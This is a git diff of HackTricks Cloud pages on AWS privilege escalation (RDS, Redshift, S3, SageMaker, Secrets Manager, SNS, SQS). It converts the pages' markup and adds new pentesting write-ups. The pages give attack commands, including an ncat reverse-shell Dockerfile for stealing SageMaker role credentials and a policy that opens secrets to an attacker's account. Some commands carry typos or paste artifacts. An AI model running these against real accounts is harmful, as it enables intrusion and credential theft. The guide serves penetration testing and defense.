-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## RDS - Relational Database Service
 
 For more information about RDS check:
 
-{% content-ref url="../aws-services/aws-relational-database-rds-enum.md" %}
-[aws-relational-database-rds-enum.md](../aws-services/aws-relational-database-rds-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-relational-database-rds-enum.md
+{{#endref}}
 
 ### `rds:ModifyDBInstance`
 
@@ -41,9 +28,8 @@ aws rds modify-db-instance \
 psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
 ```
 
-{% hint style="warning" %}
-You will need to be able to **contact to the database** (they are usually only accessible from inside networks).
-{% endhint %}
+> [!WARNING]
+> You will need to be able to **contact to the database** (they are usually only accessible from inside networks).
 
 **Potential Impact:** Find sensitive info inside the databases.
 
@@ -55,9 +41,8 @@ According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGui
 
 #### Postgresql (Aurora)
 
-{% hint style="success" %}
-If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**.
-{% endhint %}
+> [!TIP]
+> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**.
 
 First you can check if this database has been used to access any other AWS service. You could check this looking at the installed extensions:
 
@@ -97,20 +82,18 @@ If you had **raw AWS credentials** you could also use them to access S3 data wit
 ```sql
 SELECT aws_s3.table_import_from_s3(
    't', '', '(format csv)',
-   :'s3_uri', 
+   :'s3_uri',
    aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
 );
 ```
 
-{% hint style="info" %}
-Postgresql **doesn't need to change any parameter group variable** to be able to access S3.
-{% endhint %}
+> [!NOTE]
+> Postgresql **doesn't need to change any parameter group variable** to be able to access S3.
 
 #### Mysql (Aurora)
 
-{% hint style="success" %}
-Inside a mysql, if you run the query **`SELECT User, Host FROM mysql.user;`** and there is a user called **`rdsadmin`**, you can assume you are inside an **AWS RDS mysql db**.
-{% endhint %}
+> [!TIP]
+> Inside a mysql, if you run the query **`SELECT User, Host FROM mysql.user;`** and there is a user called **`rdsadmin`**, you can assume you are inside an **AWS RDS mysql db**.
 
 Inside the mysql run **`show variables;`** and if the variables such as **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, have values, you can assume the database is prepared to access S3 data.
 
@@ -152,25 +135,21 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
 
 ### `rds:CreateDBInstance`, `iam:PassRole`
 
-{% hint style="info" %}
-TODO: Test
-{% endhint %}
+> [!NOTE]
+> TODO: Test
 
 An attacker with the permissions `rds:CreateDBInstance` and `iam:PassRole` can **create a new RDS instance with a specified role attached**. The attacker can then potentially **access sensitive data** or modify the data within the instance.
 
-{% hint style="warning" %}
-Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
+> [!WARNING]
+> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
 
-* The profile must exist in your account.
-* The profile must have an IAM role that Amazon EC2 has permissions to assume.
-* The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` .
-{% endhint %}
+> - The profile must exist in your account.
+> - The profile must have an IAM role that Amazon EC2 has permissions to assume.
+> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` .
 
-{% code overflow="wrap" %}
 ```bash
 aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
 ```
-{% endcode %}
 
 **Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.
 
@@ -178,29 +157,13 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst
 
 An attacker with the permissions `rds:AddRoleToDBInstance` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance.
 
-{% hint style="warning" %}
-The DB instance must be outside of a cluster for this
-{% endhint %}
+> [!WARNING]
+> The DB instance must be outside of a cluster for this
 
-{% code overflow="wrap" %}
 ```bash
 aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
 ```
-{% endcode %}
 
 **Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
new file mode 100644
index 000000000..810cdf3ff
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
@@ -0,0 +1,107 @@
+# AWS - Redshift Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Redshift
+
+For more information about RDS check:
+
+{{#ref}}
+../aws-services/aws-redshift-enum.md
+{{#endref}}
+
+### `redshift:DescribeClusters`, `redshift:GetClusterCredentials`
+
+With these permissions you can get **info of all the clusters** (including name and cluster username) and **get credentials** to access it:
+
+```bash
+# Get creds
+aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
+# Connect, even if the password is a base64 string, that is the password
+psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
+```
+
+**Potential Impact:** Find sensitive info inside the databases.
+
+### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`
+
+With these permissions you can get **info of all the clusters** and **get credentials** to access it.\
+Note that the postgres user will have the **permissions that the IAM identity** used to get the credentials has.
+
+```bash
+# Get creds
+aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
+# Connect, even if the password is a base64 string, that is the password
+psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
+```
+
+**Potential Impact:** Find sensitive info inside the databases.
+
+### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
+
+It's possible to **modify the master password** of the internal postgres (redshit) user from aws cli (I think those are the permissions you need but I haven't tested them yet):
+
+```
+aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
+```
+
+**Potential Impact:** Find sensitive info inside the databases.
+
+## Accessing External Services
+
+> [!WARNING]
+> To access all the following resources, you will need to **specify the role to use**. A Redshift cluster **can have assigned a list of AWS roles** that you can use **if you know the ARN** or you can just set "**default**" to use the default one assigned.
+
+> Moreover, as [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just **separating** them with a **comma**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
+
+### Lambdas
+
+As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), it's possible to **call a lambda function from redshift** with something like:
+
+```sql
+CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
+RETURNS INT
+STABLE
+LAMBDA 'lambda_function'
+IAM_ROLE default;
+```
+
+### S3
+
+As explained in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), it's possible to **read and write into S3 buckets**:
+
+```sql
+# Read
+copy table from 's3://<your-bucket-name>/load/key_prefix'
+credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
+region '<region>'
+options;
+
+# Write
+unload ('select * from venue')
+to 's3://mybucket/tickit/unload/venue_'
+iam_role default;
+```
+
+### Dynamo
+
+As explained in [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), it's possible to **get data from dynamodb**:
+
+```sql
+copy favoritemovies
+from 'dynamodb://ProductCatalog'
+iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
+```
+
+> [!WARNING]
+> The Amazon DynamoDB table that provides the data must be created in the same AWS Region as your cluster unless you use the [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) option to specify the AWS Region in which the Amazon DynamoDB table is located.
+
+### EMR
+
+Check [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
+
+## References
+
+- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
similarity index 63%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
index 8850b9b14..a85a7f764 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
@@ -1,19 +1,6 @@
 # AWS - S3 Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## S3
 
@@ -25,30 +12,33 @@ For example, an attacker with those **permissions over a cloudformation bucket**
 
 ```json
 {
-    "Version":"2012-10-17",
-    "Statement":[
-        {
-            "Effect":"Allow",
-            "Action":[
-                "s3:PutBucketNotification",
-                "s3:GetBucketNotification",
-                "s3:PutObject",
-                "s3:GetObject"],
-            "Resource":[
-                "arn:aws:s3:::cf-templates-*\/*",
-                "arn:aws:s3:::cf-templates-*"]
-        },
-        {
-            "Effect":"Allow",
-            "Action":"s3:ListAllMyBuckets",
-            "Resource":"*"
-        }]
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Allow",
+      "Action": [
+        "s3:PutBucketNotification",
+        "s3:GetBucketNotification",
+        "s3:PutObject",
+        "s3:GetObject"
+      ],
+      "Resource": [
+        "arn:aws:s3:::cf-templates-*/*",
+        "arn:aws:s3:::cf-templates-*"
+      ]
+    },
+    {
+      "Effect": "Allow",
+      "Action": "s3:ListAllMyBuckets",
+      "Resource": "*"
     }
+  ]
+}
 ```
 
 And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.
 
-![](<../../../.gitbook/assets/image (174).png>)
+![](<../../../images/image (174).png>)
 
 The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
 For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
@@ -60,7 +50,7 @@ An attacker with **read access** to them might find **sensitive information** on
 An attacker with **write access** to them could **modify the data to abuse some service and try to escalate privileges**.\
 These are some examples:
 
-* If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**.
+- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**.
 
 ### `s3:PutBucketPolicy`
 
@@ -158,7 +148,7 @@ An attacker could abuse these permissions to grant him more access over specific
 
 ```bash
 # Update bucket object ACL
-aws s3api get-object-acl --bucket <bucekt-name> --key flag 
+aws s3api get-object-acl --bucket <bucekt-name> --key flag
 aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
 
 ##JSON ACL example
@@ -190,17 +180,4 @@ aws s3api get-object-acl --bucket <bucekt-name> --key flag
 aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
similarity index 54%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
index b795ce1ff..e3c1f92b7 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
@@ -2,20 +2,7 @@
 
 ## AWS - Sagemaker Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
 
@@ -72,32 +59,31 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
 
 An attacker with those permissions will be able to create a training job, **running an arbitrary container** on it with a **role attached** to it. Therefore, the attcke will be able to steal the credentials of the role.
 
-{% hint style="warning" %}
-This scenario is more difficult to exploit than the previous one because you need to generate a Docker image that will send the rev shell or creds directly to the attacker (you cannot indicate a starting command in the configuration of the training job).
-
-```bash
-# Create docker image
-mkdir /tmp/rev
-## Note that the trainning job is going to call an executable called "train"
-## That's why I'm putting the rev shell in /bin/train
-## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
-cat > /tmp/rev/Dockerfile <<EOF
-FROM ubuntu
-RUN apt update && apt install -y ncat curl
-RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
-RUN chmod +x /bin/train
-CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
-EOF
-
-cd /tmp/rev
-sudo docker build . -t reverseshell
-
-# Upload it to ECR
-sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
-sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
-sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
-```
-{% endhint %}
+> [!WARNING]
+> This scenario is more difficult to exploit than the previous one because you need to generate a Docker image that will send the rev shell or creds directly to the attacker (you cannot indicate a starting command in the configuration of the training job).
+>
+> ```bash
+> # Create docker image
+> mkdir /tmp/rev
+> ## Note that the trainning job is going to call an executable called "train"
+> ## That's why I'm putting the rev shell in /bin/train
+> ## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
+> cat > /tmp/rev/Dockerfile <<EOF
+> FROM ubuntu
+> RUN apt update && apt install -y ncat curl
+> RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
+> RUN chmod +x /bin/train
+> CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
+> EOF
+>
+> cd /tmp/rev
+> sudo docker build . -t reverseshell
+>
+> # Upload it to ECR
+> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
+> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
+> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
+> ```
 
 ```bash
 # Create trainning job with the docker image created
@@ -123,19 +109,6 @@ An attacker with those permissions will (potentially) be able to create an **hyp
 
 ## References
 
-* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
new file mode 100644
index 000000000..efd911f80
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
@@ -0,0 +1,51 @@
+# AWS - Secrets Manager Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+For more info about secrets manager check:
+
+{{#ref}}
+../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### `secretsmanager:GetSecretValue`
+
+An attacker with this permission can get the **saved value inside a secret** in AWS **Secretsmanager**.
+
+```bash
+aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
+```
+
+**Potential Impact:** Access high sensitive data inside AWS secrets manager service.
+
+### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
+
+With the previous permissions it's possible to **give access to other principals/accounts (even external)** to access the **secret**. Note that in order to **read secrets encrypted** with a KMS key, the user also needs to have **access over the KMS key** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)).
+
+```bash
+aws secretsmanager list-secrets
+aws secretsmanager get-resource-policy --secret-id <secret_name>
+aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json
+```
+
+policy.json:
+
+```json
+{
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "arn:aws:iam::<attackers_account>:root"
+      },
+      "Action": "secretsmanager:GetSecretValue",
+      "Resource": "*"
+    }
+  ]
+}
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
new file mode 100644
index 000000000..9475d238a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
@@ -0,0 +1,43 @@
+# AWS - SNS Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## SNS
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### `sns:Publish`
+
+An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources.
+
+```bash
+aws sns publish --topic-arn <value> --message <value>
+```
+
+**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion.
+
+### `sns:Subscribe`
+
+An attacker could subscribe or to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic.
+
+```bash
+aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
+```
+
+**Potential Impact**: Unauthorized access to messages (sensitve info), service disruption for applications relying on the affected topic.
+
+### `sns:AddPermission`
+
+An attacker could grant unauthorized users or services access to an SNS topic, potentially getting further permissions.
+
+```css
+aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
+```
+
+**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
new file mode 100644
index 000000000..80f14a667
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
@@ -0,0 +1,46 @@
+# AWS - SQS Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## SQS
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:AddPermission`
+
+An attacker could use this permission to grant unauthorized users or services access to an SQS queue by creating new policies or modifying existing policies. This could result in unauthorized access to the messages in the queue or manipulation of the queue by unauthorized entities.
+
+```bash
+cssCopy codeaws sqs add-permission --queue-url <value> --actions <value> --aws-account-ids <value> --label <value>
+```
+
+**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources.
+
+```bash
+aws sqs send-message --queue-url <value> --message-body <value>
+aws sqs send-message-batch --queue-url <value> --entries <value>
+```
+
+**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion.
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages.
+
+```bash
+aws sqs receive-message --queue-url <value>
+aws sqs delete-message --queue-url <value> --receipt-handle <value>
+aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
+```
+
+**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
similarity index 60%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
index f496e89a3..aafbdcbda 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
@@ -1,27 +1,14 @@
 # AWS - SSM Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
